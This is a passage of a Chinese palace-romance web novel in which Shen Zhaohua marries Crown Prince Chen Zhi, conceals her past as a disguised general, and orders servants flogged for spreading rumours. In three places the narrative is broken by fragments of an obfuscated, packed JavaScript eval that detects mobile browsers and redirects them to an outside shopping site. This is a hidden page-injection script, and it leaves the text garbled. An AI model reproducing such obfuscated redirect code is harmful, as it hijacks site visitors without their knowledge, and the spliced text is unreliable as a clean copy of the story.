“只是那终究是宫里，伴君如伴虎，天家薄情，又有多少人心算计掺杂着，再怎么任性，不要失了分寸。若是你能把太子拿住还好些，若是拿不住，还是要随分守时，踏踏实实地过自己的小日子。” 听祖母一句句细致交代着，沈照华一一点头应着。 她生于公侯钟鼎之家，幼承庭训，文武兼修，岂是不懂君臣之分、任性妄为之人，但是她还有事要做。 行至江风渐急处，船身轻轻晃动，哗哗的水流声从船底传来。 她终将缠绕心头的事告诉了沈老夫人： “祖母，父亲的死，似乎在一场暗局之中。” 听罢前因后果，沈老夫人似入定一样，怔忡了许久。 老太公沈行谦官至中书，一生谨慎勤勉，鞠躬尽瘁；长子沈恺，任职湖广巡抚，卒于赈灾途中；次子沈恪，封疆甘定，十余载沙场饮血；长孙颂华，承袭父志少有威名，可惜天妒英才，早逝边关…… 沈家三代近百年为国尽忠的场景涌入脑海。沈老夫人心口堵痛，指尖一时冰凉。 “宵小当朝，朋比为奸，我大祁朝廷终于也至今日！” 沈老夫人说着，声音已经发颤，“逝者已矣，如今兵权已经交接，他们不会再轻举妄动。四姐儿，其余的不要多管，保全自身才是正理！” 保全自身，她忽然想起，父亲那日病体沉重时，也千叮万嘱过此语。 可堂堂忠烈之门，为何要委曲求全？ 就任他奸佞作祟，日渐张狂？ “祖母，陛下此次赐婚，沈家已然不能独善其身。既嫁入东宫接近朝堂，我一定要看看这背后之人的嘴脸，咱们有仇报仇，有冤报冤。” 14. 夺情成礼（2） 书礼齐备，嘉盟百年。 昭庆二十四年十月廿五日，皇太子陈致与武宁侯长女沈照华奉旨成礼，缔结姻亲。 当日，从武宁侯府到东宫必经的开平大街、兴平大街和永安路上，举京来望，万人空巷。 陈致在宫中陛见皇帝之后，便更换冕服，从皇仪门升辂，张九旒龙旗赴侯府行亲迎礼。 卤簿摆了半城，喜乐作了满天。他在金辂内四平八稳地端坐，冕旒之下的神色无悲亦无喜。 这样的仪式他不是第一次执行，因此也并不觉得新鲜或紧张，娶妇而已，就跟听筵讲一样，人至礼成，交差便好。 何况这次婚礼正值新太子妃为父守丧期间，夺情成婚，也不宜欣喜。 也不知行了多久，冠戴红花的唐近元在纱窗旁提醒：“殿下，过了这条街，便到武宁侯府了。” 侯府内，沈照华正在一众女官的簇拥之下改妆更服。 禁中尚仪局的女官们举止有法，言语有度，即使是这般良辰吉日，行动间也是安静而有序。 “请太子妃殿下起身。”女官的声音温沉恭敬，一听便是禁中大内的风范。 沈照华愣了一下，才在她们的搀扶下缓缓从椅子上起身。 显然她还并不适应“太子妃”这个称呼。 揄翟凤履，珠面凤冠，镜中的她姿容华贵，体静仪闲。 行船上京之景仿佛还在昨日，如今她便要成为国朝的太子妃了。 自诩不认命的她又能如何，人到了该走哪一步时，由不得你不走。 身着绛袍头簪百花的女官们细致地为她整理衣袖裙摆，再次检视她的妆容仪态。 “启禀太子妃殿下，主婚人已至，迎书已递，太子殿下稍后便携聘雁至。”门外响起内侍省中官的禀报声，稍显尖细的声音带着温和的喜兴。 沈照华又在女官们的搀扶与簇拥之下，步出闺房，向中庭廊下走去。 凤头履踏上象征着“凶附于吉”的红黑二色毯，她又想起了父母和兄长。 如今世上已经没有几个她可以依赖的人，而沈家的门庭还需她支撑，父死的真相还要她揭露，她必须更加坚强。 即使即将要去的是东宫禁苑，要嫁的是素未谋面的一国储君，她也不能有丝毫怯懦。 当她候于正堂东阁时，陈致已在亲迎使的引导下降辂登门，在院中向西行四拜礼，对新丧岳父致诚。 雅乐奏起，廊下堂中的族亲们顿时收了方才热闹的议论声，都伸长脖子聚精会神地看向门口处被众人簇拥着的皇太子。 毕竟能得见储君一面，是何等荣幸之事！ 他身着衮服，头戴冕旒，在持聘雁礼官的身后款步而来，步伐端稳，威仪天成。 观者无不讶异。 众人皆知当今太子年轻仁厚，素有贤名，坊间亦流传着太子十五岁路遇饥民而落泪施金，二十岁闻冤案而问责官府等爱民佳话。 大家都以为他是像永昌年间的赵贤王一样是个身量不高、富态亲切之人，却不知这位太子竟是身如修竹玉树，气度雍容闲雅，不管远望还是近观，都绝类一幅画，更有年轻女子笑得以帕掩面，彼此窃窃私语。 “今承上命，许迎沈氏，托以宗事，永结百年。以雁为贽，愿修关雎樛木之好；以册为聘，祈绵螽斯衍庆之祥。” 正堂内，陈致郑重地诵着亲迎的誓词，在堂前行奠雁之礼。 沈老夫人和周氏看着这位皇太子，不禁露出满意的微笑。 且不论这桩婚事用意是什么，单看这个女婿本人，端正、稳当，气度清朗，配得上沈家四姑娘。 他一举一动都展现着国朝储君的风范，所有的礼节均无可挑剔，给了功劳煊赫的沈家以极高的礼敬。 他知道这不只是婚事，更是国事。 与陈致的沉稳淡然比，沈照华则显得不那么自在。 奠雁礼后，她在华扇的掩遮之下出了阁，在距离陈致九尺后的位置，跟着他脚步的节律走向门外。 身边的女官提醒道：“殿下，出门后太子殿下会揖礼请您升辂，您先登车便是。” 沈照华点头相应。 从羽扇的缝隙间，她看到了太子拂于毯面的江崖海水袍摆，那是他肩负的永固江山的责任。 她虽不想做深宅妇，但也曾想过自己以后要嫁与什么样人，比如长什么模样是何种脾性，如何待自己等等，但是心中始终也没个明晰的图谱。 可不管她再怎么想，她也没想过自己会嫁入天家，成为维系朝局平衡的棋子。 他这样的人，又怎有时间与精力关心她的喜怒哀乐，心疼她的四时冷暖呢？ 毕竟那愿与她夜市同行，会见她伤口迸裂心急如焚的人，已是墙外萧郎。 大袖间交叠的双手紧攥了一下，沈照华告诉自己，梦总是要醒的。 不来常思君。 可分明是她庸人自扰。 一路上锣鼓喧天，笑语声阗，京城吏民无不对圣主之子与名将之女的婚事津津乐道。 宗室贵胄晋王与礼部堂官引导在前，禁中六局女官与内侍省中官随行于后，迎太子妃沈氏嫁入东宫。 —— 行过撒帐礼，陈致先去外间答谢宾客，大部分宫人也已退下，宫殿内难得的安静了下来。 沈照华揉着有些发僵的膝盖，看着洒落满床的金钱彩果，不觉有些恍惚。 她这便是到了东宫了？ 是了，红纱灯笼满宫高照，金枝凤烛角落遍燃，今晚是她的新婚之夜。 半月前尚仪局女官到侯府上为她讲解大婚礼仪，闲谈时曾说过，当今太子贤雅端方，仁孝非常，深受陛下器重和臣下爱戴，是位极好的人主。 只是平日里规行矩步、矜贵肃正，不爱与人闲话，因此宫禁中人不敢在其面前有半分造次。 女官叫她不要害怕，太子性子虽清冷些，后院也去得少些，但这么多年也未听说东宫有惩罚打骂妃嫔之事，想来是太子对妻妾是以礼相待的。 但是沈照华并不关心这些，天家薄情她是知道的，对功臣尚且无有情面，何况对她一介孤女。 只要她不去招惹他，做好分内事，凭他是君子还是桀纣，也不会有什么差错。至于一雪父仇之事，天长日久伺机而动，总有缝隙可钻。 想到这些，原本发凉发僵的手又稍缓和过来。 门外脚步声近。 身旁随侍的女官低声道：“是太子殿下敬酒回来了。” 两列着红的女官带着一水儿得体的笑容，手中捧着馔案、爵、卺、巾盘之类的礼具，进得房来分列两旁。 沈照华连忙将手中团扇掩好。 文熙殿外一派喜庆，如今既入东宫，国事已毕，只剩家事。迎亲和观礼的皇族、贵戚和官员们也都放松了下来。 梁王陈敏跟在陈致身边笑问：“二哥，你猜是这新嫂嫂好看，还是先嫂嫂好看？” 余人皆笑，陈致无奈瞥了他一眼：“不如七弟先替我去看看？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367304|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈敏委屈撇嘴：“看了怎么猜？不过这位嫂嫂是将军之女，想来粗犷些，不一定有先嫂嫂温婉美貌，二哥你可做好准备啊。” 就他嘴碎。陈致不想理他，但是脑海中却浮现出一个人的面容来。 他是将军之子，但眉清目秀，动时如鹤飞九霄轻盈迅疾，静时如兰芝芳树清隽无双，若非长枪血染银铠重，定是气概翩然似谪仙。 不合时宜。怎么平白想起他来。 礼官提了袍摆便要入殿去，笑道：“梁王殿下不必猜了，待会儿却了扇咱们便全见了！” 笑声中，礼官打头揭帘先进。 “金翠堂前庆合欢，芙蓉扇底隐春山。”不待站定，一个礼官笑吟起来。 “折花帝子寻芳露，何必空倚玉栏杆？”另一个礼官抑扬顿挫地相和。 却扇诗毕，陈致上前敛袖，准备将扇移开。礼官和门口探头的陈敏都睁大眼睛屏息以待。 他本对新妇的容貌无所期待，一如他迎娶先妻冯氏时。阁臣议婚、皇帝指婚，也都不会虑及新妇容貌，只要家世合乎朝廷利益，便可许之。 久而久之他也不在乎这些了，仙姿佚貌又如何，貌若无盐又如何，有个女人替他操持中馈、执仪全礼、延绵子嗣即可。 可当七弟陈敏让他猜新妇容貌时，他有那么一瞬间内心真的泛起了波澜。 他今天要娶的女子，是那人之胞妹，想必眉目间也有几分他的神采？ 新妇于榻上端坐，他指尖轻搭龙凤呈祥锦扇，将扇缓缓移开。 烛影掩映之下，一副光彩玉容映入眼帘，陈致指尖一颤。 眼前人桃腮秀面，一双微扬凤目微微低垂，只是今日脂粉傅面，更显娇美——可这轮廓五官分明是……！ 其余人等得见新太子妃容貌，一时眉开眼笑起来，暗叹真是郎才女貌，珠联璧合。 陈致也顾不得什么礼数，忙从旁边烛台上端了一柄灯烛径直照向她的脸。 此时正逢她抬眸，与他四目相对。 “你——” 陈致的声音似箭疾发却又瞬间哽在喉中，如雾笼罩的心一时雷惊云裂。 沈照华的眼睛也钉在了他的脸上一瞬。 他竟是程致？！ 她忽然想到，那枚玉印上刻“明德私印”，女官曾告诉过她，皇后所居便是“明德宫”。 当时她无心把这些细枝末节联系起来，如今再看他那惊诧的神情，确实是他无疑！ 幻梦成真，她内心刚涌起一阵欣喜的巨浪，可随即又被拍打下来。 她代兄为将之事绝不能被外人知晓，不然便是满门之祸。 于是她只能敛起眸光，低眉不语。 好装作不识。 一旁的女官呈上同牢合卺之物，他二人如梦一般行罢了礼。 此时月上门檐，殿内始静。 女官为他们卸下冠服，便掩门而退了，房中只剩他二人。 沈照华自认出陈致那刻起，脸上蔓延的红霞就没有褪去过。 竟然是他，怎会是他？ 她本来还为自己只能认命而失望低落，不想天意难测，一切自有机缘。 陈致也不禁再次看向她。 只着红色常裙的她身量单薄如昔，微垂的侧脸花柔玉润，连下颌的弧度都跟自己记忆中如此相像！ 可她不是，沈家长公子，凤宁少将军吗？ 他挣扎了半日终于幽幽开口： “你可还……记得我？” 15. 夺情成礼（3） 陈致这话问得算是不打自招了。 沈照华心中有数。但她抬眸看了一眼他期待与疑惑交织的眼神，又把眉眼垂下去。 她学着寻常高门贵女面对尊者的模样回道：“妾从未有幸见过殿下，何以记得？” 她如何不记得？数月未见，他因重伤而苍白的面色如今恢复红润，精神也好了许多，他右眉梢上的痣依然在烛光下若隐若现，一如她梦中场景。 但只能瞒他。欺君之罪，朝为天家妇、暮为阶下囚在哪朝哪代也不是罕事，她绝不能冒半点风险。 何况他是太子，所谓君心难测。 她只能装成最不像自己的样子，来打消他的怀疑。 陈致着实被她的这副做派和回答闹得有些不知所措。 他不知沈颂华已死，他搜肠刮肚思索半日也找不出沈恪能让女儿扮做男子上战场的理由。 但他如何相信眼前果真不是当日与他生死与共之人？ 陈致再一次试探地问道：“我们当真，从未见过？” 沈照华婉声答道：“殿下乃国之储副，绮年华誉，天下称颂，若说见过，妾也只是在梦里见过。” 梦里见过。沈照华心下一酸。 玉殿之内，白檀香于金炉中袅袅飘出，那是她熟悉的味道。 陈致看着身旁态度谦卑、话语谄媚的新妇，嘴角泛起一抹苦笑。 温柔规矩大家子，不是当日少年人。 他起身向沈照华稍揖了一礼，神色恢复了一贯的淡漠。 “太子妃尚在孝期，孤不便留宿，请早些歇息吧。” 他转身离开卧房，推门而出，透过珠帘，沈照华看到了他渐渐消失于门口的影子。 三句话。 他今晚一共同她说了三句话。 沈照华抬起头望了望雕金刻碧的华彩梁顶，把眼眶里的酸胀憋了回去。 沈照华起身到摆着花生莲子和许多喜点的桌前随便拈了两块点心吃了，腻得有点齁嗓子，便扬了声向外喊道： “来人，倒水！” —— 新婚之夜夫妻不圆房，在新妇守孝期间确是合礼。但是新郎官离了文熙殿，径直独往书房睡去了，这事便稀奇了。 御赐婚姻，册宝为聘，太子连安安静静陪太子妃一夜都不肯吗？ 东宫说小不小，说大亦不大，从陈致昨晚踏出文熙殿那一刻起，流言便开始如流萤飘飞。 酝酿发酵了一整夜，待沈照华醒来时，东宫已无人不知了。 洒扫的宫人、各房的女使，甬道回廊的每个角落都在挤眉弄眼地窃窃私语着，说太子殿下之前娶先太子妃之时可是安稳地度过了洞房花烛夜的，而且先太子妃第二日面色极其红润，哪像这个不闻不问的？ “是不是这新妃长得太丑？太子殿下一眼都看不下去？” “听说长得还行。没准是脾气太硬，咱们殿下喜欢温柔可人的，就像林良娣。” “或者是有隐疾？比如狐臭什么的...？” “小声点！叫人听了可是要杀头的！” “......” 殿内，女官正服侍沈照华更衣梳妆，准备外廷下朝后，入宫朝见皇帝。 鸾镜中映着玉人花面，并无一丝倦容。 昨夜陈致虽走了，沈照华却彻底想通了，不管他是旧人还是新人，不管能不能故友相认，他始终是太子。 天家夫妻，分属君臣，哪需要那么多真情假意，各守其职而已。 既已重新开局，就无需纠结往事。世人不总说往事如烟么，如烟甚好，免却烦恼。 门外玉泉引着送早膳的宫人进殿来，眉头蹙成了一座小山。 不用问，肯定是她听到昨夜之事的传言了。 沈照华十三岁上虽居住凤宁随父守边，但毕竟生于侯门深院，内宅里这点事她猜也猜个七八分，昨晚陈致走时，她就知道此事准成新闻。 宫人们在桌前摆饭，玉泉拨了珠帘近前来，看了一眼正为沈照华插钗的女官，终是要同她附耳言语。 沈照华略一扬手，示意她不必多言。 她在镜中看到了玉泉穿的一身紫色圆领窄袖宫袍，头戴幞头腰系革带，与常日家中裙袄穿戴分明两样。 “这身衣裳显利落，很衬你。”沈照华一笑。 玉泉见她有意撂下不提，也就不再多说，只是此事于声名实在有损，初来乍到又不知东宫水有多深，她到底担心。 东宫的早膳比家中要精细许多，各色粥点荤素花样精巧不必细说，就连最常吃的玉井饭都用白玉莲花碟盛放，还点缀了些蒸软的红豆，莹润雪白之余又添生动。 宫人们只在桌上摆了一双碗箸，看来，这是让她独享满桌美味之意，太子连早膳也不陪她用了。 未吃几口，书房那边便遣了内侍来传话：“太子殿下请娘娘移步前院，同乘入宫朝见。” 沈照华知道这是在叫她了。尚仪局女官讲过，外人称太子妃，与太子一般称殿下，以示夫妻敌体之礼；而宫禁之内私称娘娘，以表下人恭敬顺从之意。 她头也没抬，边吃边从容应答：“告诉殿下，我在吃早饭。” 那内侍着实愣了一下，在旁服侍的女官也不禁抬眸看了她一眼。 这位主子竟敢让太子殿下候着？ —— 东宫书房，放鹤轩。 陈致收到回话时，正在誊写政务札记的手不禁顿了一下。他忙把紫毫笔尖朝上提些，免得卷上洇墨。 他往窗外望望，日向东南。日上三竿了，才吃早饭。 她倒是一夜好眠。 不过很快他便反应过来，起得不早是一回事，叫内侍如此答话，则又是另外一回事了。 他摇头轻笑了一声：“那就等。” 谁叫昨晚他一时失望便头也不回地离了寝殿，叫她一夜独守空房呢。这下必是记恨上他了。 虽然算上薨了的冯氏，他之前总共有三个妃嫔，无一敢跟他使小性儿，但到底是小事，随她不妨。 他重新蘸墨刮笔，继续誊录这个月他的理政心得。 雕花窗外日移影动，松枝摇曳。 沈照华用过早膳又在院子里赏了一番腊梅枝上的几点青苞，这才让内侍引着去前院乘车。 东宫全名承庆宫，虽名为宫，其实坐落于皇宫之外，是座宏丽轩敞的府邸。整体规模建制与地方行宫略似，稍大于王府与公主府。 约莫一炷香后，沈照华才从文熙正殿走到前院门口，却见金饰紫幔的车驾旁早已立了两列内侍，墙两侧也候了两队青袍侍卫，后面又有撑伞举盖之人，一副就绪待发的模样。 车内之人听见动静，略揭了下车帘，帘内露出朱红色的袍摆。 陈致已在此等候多时了。 领头的崔知白见太子妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375883|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，忙躬身行礼：“臣参见太子妃殿下，请殿下登车。” 沈照华向他点头示意，正要登车，眼角余光却瞥见一副熟悉面孔。他便是那凤宁随行的玄甲军士。 崔知白本颔首垂眸，但许是感受到了沈照华在他脸上略作停留的目光，不禁好奇一望。 崔知白的眼睛明显怔忡了一瞬，又慌忙垂下头去。宫中贵眷，不可正视。 沈照华又继续假装无事地在内侍的搀扶下提裙上车。 “东宫的膳食，可还合口味？” 不等沈照华先问候，陈致便开了口。 陈致与她说话的态度堪称冰冷，跟凤宁时已不可同日而语。 沈照华腹诽道：装得好一副高不可攀的样子！刚要甩给他一句“好得很”，可话到嘴边又咽了回去。 而且换上和顺的神态语气：“谢殿下关心，妾用得慢些，让殿下久等了。” 陈致心想，事做得不怎么样，话倒是说得乖巧，这点倒和她哥哥不同。 “朝见是大事，以后需早些，不可懒怠。” “是，谨遵殿下教诲。” 都是聪明人，有些事不必戳破，好给彼此留些余地。 二人点到为止，不再言语。 马蹄声起，车厢缓缓移动，沈照华与陈致各自靠着车壁相对而坐，一个持卷观书，一个兀自发呆，表面上一潭死水。 不多时，离勤德殿最近的东华门已近在眼前，红墙碧瓦，峥嵘飞檐，一派皇家富丽气象。 马车还未停稳，身着绛袍的御前侍奉梁彦民便从门内一路疾迎过来，说话间尚带几分喘息： “臣给太子殿下、太子妃殿下请安，恭贺二位殿下新婚大喜！” 陈致在车上揭帘问道：“怎么劳动梁大监亲自来了？” 平日晨昏定省，向来是他自行来去。 梁彦民嘴上说着贺喜，可面上却无喜色：“回禀殿下，陆贤妃一时犯了头风症，散朝后陛下便匆匆去了，遣臣来跟二位殿下说一声。陛下说了，都是一家子了，明日再见也不迟。” “那劳烦大监替孤和太子妃向陛下请安，也向贤妃娘娘问候。让娘娘好生养病，改日孤叫太子妃亲去探望。” “是，臣一定转达。再向二位殿下道喜。” 车马掉头，重归旧路。 放下车帘，陈致脸上的云淡风轻转为一片失落。 十年前陈业便因宠爱陆贤妃而陪她去清河行宫避暑，留下病重的庄懿皇后在宫中养病。先皇后薨时，陈业正和陆贤妃人影双双，她至死没能得见陈业一面。 若不是担心立陆氏为后，会引发陈致与陈敏的储位之争动荡国本，这后位早便花落陆氏了。 如今，陈业又因陆氏而不顾礼制，让他与太子妃空自往还，陈致只觉心寒。 沈照华看着陈致面笼阴云，不禁相问：“殿下怎么了？有什么不妥吗？” 陈致轻轻冷笑：“不妥之事，早不只这一桩了，不提也罢。” 能让他如此失落的，不可能是揭过即可之事。 沈照华便问道：“难道你还信不过我么？” 一如当初暗渡桑台的月夜，他问她一般。 陈致抬头一怔。 他没有忘记，这话，他分明对一个人说过。 眼前人的面容又和记忆中的人重合在一起，他皱眉沉声问道： “你到底是谁？” 16. 夺情成礼（4） 她意识到自己说错话了。 冬月的寒风卷动锦幔车帘，车厢中只剩二人轻微的呼吸声。 陈致的目光如寒潭之水，透过她眉目间细微的闪动，似要把她所有的心事都映彻。 可她如今，还能是谁呢？ 沈照华将不觉蹙起的眉头缓缓舒展开来，转而勾出一抹温婉又带着天真不解的笑容： “殿下您说什么呢？妾是沈氏啊。” “昨晚您好似就将妾错认了吧？不知那人是谁，和妾很像吗？” 沈照华也不知道自己是怎么把这两句话说出来的，她只知道如今心口堵到无法呼吸。 真有那么一瞬间，她想告诉他，她就是在桑台借三杯绿酒，送他天涯远别的那个人；她还想告诉他，她其实是女子，而且春尽冬来，她已多日念他。 可她不敢。她不敢拿沈家满门做赌，她怕自己一厢情愿。 陈致的目光渐渐黯淡下去，肩膀随着呼吸的升沉而微微起伏，他摇了摇头，没有回答。 他转身揭开车窗的锦帘，望着长街上高高的红墙迤逦向后，嘴角泛起一丝哂笑。 他到底在等一个什么答案呢？如果她不是故人，那自己这样念念不忘，那他心中，真的只存君臣之谊吗？ 如果她是故人，却不愿相认，大概就表明了对自己的疏离吧。 冷风吹着他发胀的额头，长长的睫毛在眼下洒落一片阴影。 他的心，乱了。 —— 陈致不来，东宫的日子与在家也没什么不同。东宫的田产财物自有詹事府等官署官员掌管，内廷调度又尚在林良娣手中，她如今只是个尊位上的闲人。 自第三日从皇宫朝见皇帝回来之后，她便叫人把文熙殿上下结红挂彩的装饰都撤了。 众人都以为她是尊奉孝道，父丧期间不忍张红，其实她知道父亲不会在意这些，她只是觉得太热闹，红得眼前发乱。 自然东宫内也不尽是明达知礼之人，再加上陈致确已五日不宿正寝，各种各样的猜测也在暗暗喧嚣尘上，甚至还有自以为知其掌故的，连朝政都私下议论上了。 这日沈照华正揣着手炉伏在榻案上研读兵书，掌太子妃正殿事的司宫令副使苏晴引着两个宫人端了茶点进来，面色微沉。 沈照华接了杏仁酪，习惯性地正要道声谢，抬眸却见苏晴异常的神色。 苏晴是从禁中调入东宫的女官，原是尚宫局典簿，素掌人事，见多识广，能让她觉得不妥的，想来定十分严重了。 “苏副使，是出什么事了？” 屏退余人，关闭殿门，苏晴俯身轻声道：“娘娘，这两日各司各房的宫人愈发不像样子了，妾听人说，还有擅议政事，妄言太子殿下与沈家不合的。” “哦？”沈照华眼角一扬，“这些话可传到林良娣院中去了？” 自先妃冯氏薨后，林良娣林琰掌东宫印信三载有余，权柄尚未移交，这种事她不应坐视不理。 “妾不敢妄言，但如今各处确实议论纷纷。” “从何处传出的？” “口耳相传，未经严审难以辨明。但妾来时问了两个宫人，说是花房和司衣署的人告诉她们的。”苏晴回道。 在东宫紧东北角的司衣署都有此论，真是春城无处不飞花了。 若只是编排她的长相脾性，或是她跟陈致有哪一辈子的深仇大恨，她倒乐意一笑置之，毕竟不痛不痒的，没什么要紧。 但是事关朝政，任他们胡言乱语三人成虎，再被有心人利用了去，对太子和沈家都是麻烦。 该出手时，还是要出手。 沈照华不紧不慢地吃着乳酪思量着，而后说道：“去把那两个宫人叫到殿外廊下，让玉泉再问。今天午膳之前答不出个一二三来，就让她们顶了妄议朝政之罪。” —— 陈致下朝才归，人还未踏入东宫门槛，就收到了内侍的传讯：文熙殿见血了。 “什么缘故？” 陈致愕然到眼睛都瞪大了几分。自他十七岁娶妇从禁中搬至此间，承庆宫内从未有过大动干戈之事。 “娘娘逮了花房和司衣署的一个内侍和两个宫人，说他们妄议朝政，正打脊杖呢，说打死算完！” “妄议朝政？” 前院书房是太子修身养性的清净地，素来与后院有天然的界限，陈致没料想，这才几日，后院都闹到这个地步了。 帽冠朝服亦来不及更换，他大步流星便直奔文熙殿。 殿前廊下围了一圈宫人内侍，但并不是寻常看热闹似的围观，而是个个屏息敛声、垂手侍立，连一个擅动的都没有。 还未入院，陈致已经感受到了院内溢出的肃杀之气。 廊下传来“四十二、四十三”的计数声，陈致紧走几步，透过人墙缝隙，他看到了三个下人正趴在刑凳上，被脊杖打得如同一滩溅血的烂泥，连哀号的力气都没了。 对面那几个脸色发白的宫人见陈致来此，都抬了眼皮想要跪下行礼，膝盖都已经打了弯，但最终没敢动弹，因为太子妃还没让动。 沈照华当时正在廊下椅子上随意靠着，凤目半阖盯着他们施刑，手边还放着一盏茶水。 她瞥见了人群缝隙中的朱袍影子，也不起身，只是说道：“这里有些不干净，苏副使，送殿下回书房歇息。” 声音并不大，语气甚至有些温柔，但足够所有人听得一清二楚。 陈致的嘴角无意识地扯了一下。 一旁被迫观刑的宫人们有的不禁打了个冷战。 陈致知道沈照华在堵他的嘴，既不让他说话，那便不说。他没有返回，而是闷头进了殿内，苏晴见状便也跟了进去。 新婚月内，本应一派喜庆的文熙殿已然恢复了素日模样，陈致不禁有几分惊奇，难道是自己这几日没有留宿，太子妃介意了？ 珠帘之内，陈致落座榻上，先向苏晴询问廊下施刑的前因后果。 “殿下，此番是下人们失了分寸太过，若是禀报上去，少不得按大不敬罪论处，如今娘娘只按妄言罚之，已是格外开恩了。” 陈致眉头一挑：“孤要与沈家划清界限这种话，是下人们能说得出来的？” 若是他与沈家有了嫌隙，最得利的是谁？ 如今李敬端和陆韬正在暗中扶植陈敏，为他迎娶高门贵宦的贺氏女做嫡妻，在士子中广布梁王贤德美名，靖边之战后又把兵权移交到了比沈家好掌控十倍的顾家手中。 而他接了赐婚圣旨，便已被推上风口浪尖，若再失了沈家旧部和门生故吏的心，仅凭庄懿皇后一族和冯氏家族，渐渐便难与之抗衡。 毕竟清流信奉的宗法礼制，还是比不得刀枪无坚不摧。 苏晴只是答道：“是从下人们口中传出来的。” 陈致叹气之余，只觉得一股寒气从脚心直钻胸口，若没猜错，东宫之内应安插进了李党的人。 这次新聘储妃，禁中要为太子妃增派人手，应该是被他们钻了空子。 “殿下。”苏晴看着陈致面色渐渐阴晦起来，又道，“在廊下观刑的，都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383527|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁中新遣入各司和文熙殿的宫人。” 陈致忽地抬眸道：“是太子妃下的令？” “是。娘娘听说以往东宫素无风波，如今乍起阴云，怕是新来的人不懂规矩。即使不是他们，也能震慑一番，让大家都安分些。” 陈致一笑，这沈家果然没有池中之物。 “苏副使，你说，太子妃其人如何？” “妾不敢妄议。” “孤允你说。” 苏晴浅笑回答：“恕妾斗胆，殿下与娘娘夫妻一体同气连枝，相处几日便可知晓，岂用妾妄言。” 禁中女官，七窍玲珑。 陈致正无奈摇头，沈照华便从廊下进了殿。 “听说宫人生了病是请不动太医的，玉泉，你拿着我的令牌去街上请个郎中来，再给他们讲讲道理。这棍子打完了，也该给几个甜枣吃。” 她的声音依然平静无波，完全听不出是刚刚差点打残了人的模样。 玉泉虽素知她家四姑娘性子倔、主意大，但是这般杀伐决断的狠辣模样还是第一次见识，一时有些缓不过神来，但还是僵硬地答应着去了。 苏晴也退了下去，其余宫人们都在廊下立着，未敢擅入，殿内只剩他二人。 —— 窗外传来宫人们搬挪刑凳，洒扫地面之声。 “你今日辛苦了。”陈致率先开了口。 沈照华向陈致笑着微微颔首，又转身去炭盆旁烤火。在廊下坐了半日，手都冻僵了。而且许是这文熙殿太宽敞华丽的缘故，她总觉得这里的冬天，并不比凤宁暖和。 “一会儿他们把院子收拾干净了，殿下便可回书房去了。” 沈照华搓着手说道，语气一派淡然，似乎她口中的殿下只是一位普通友人。 她不知陈致如今是怎样看待她，也不想空耗心神去揣测，她只想自重一些，不去做无谓的迎合与讨好。 “孤今晚在殿中歇息。” “啊？” 沈照华回头一怔。 陈致这几日未在正殿留宿，一是心下缠乱不知如何面对，二也是为了全她孝义。他本以为只要独宿书房不去后院其他两位妃嫔处，便可无事，不成想竟给她造成如此困扰，还被有心人钻了空子。 不管她是故人新人、有意无意，终究是国朝梁栋之后，又是三书六礼娶来的正妻，到底不能让她受委屈。 而且那日崔知白见到沈照华后，也同他说太子妃极似当时的沈少将军。 他提醒了陈致，若沈家当真以女代子领兵作战，是欺君之罪，不可轻断。也许这便是她不肯松口的缘由。 他忽然记起，沈少将军右臂曾受过刀伤，刀伤留下的疤痕，仅半年时光，消褪不得。 他想验证。 可沈照华着实没想到他会蹦出这么一句。 出阁之前，继母周氏也私下同她说过，普通官宦人家尚且母以子贵，天家更是子嗣为重，既有圣命夺情成婚，叫她万不可墨守礼制，白白浪费三年青春。 陈致看着她的脸由白转红，且晕染到了领口，不禁下榻缓缓走近她。 沈照华也不知道自己的表情是哭还是笑，总之她的颧骨向上动了动，嘴角也不自觉地向上咧了几分。 总之应该很难看。 他将整个身子一点一点凑近她，目光轻柔地从她的额头一路滑到了脚尖，复又回到她的眸上。 他不疾不徐地开口，声音比往常多了几分深沉： “太子妃的脸这么红，难不成是想今夜与孤圆房？” 17. 夺情成礼（5） 陈致那双含情眼中流转的眸光如同丝缕羽毛，搔在沈照华的身上，叫她浑身刺痒。 沈照华知道早晚得有那么一天，但还是下意识地向后躲了两步。垂落的褙子大袖在身侧炭盆旁悠晃，随时可能燎着烧得正旺的红罗炭火。 火星窸窣乱迸。 陈致眸光扫及，张手一把捞上她的后背，将她半拥着带离了炭盆，她整个背恰落入他的臂弯。 他将她越揽越近，手缓缓滑至她的腰间。许是身居尊位已久，做这样亲昵的举动都带着几分不可抗拒的威严。 二人离心脏相贴，仅有一拳距离。 “殿下...”心脏即将从胸腔涌出，沈照华浑身的血液一热。 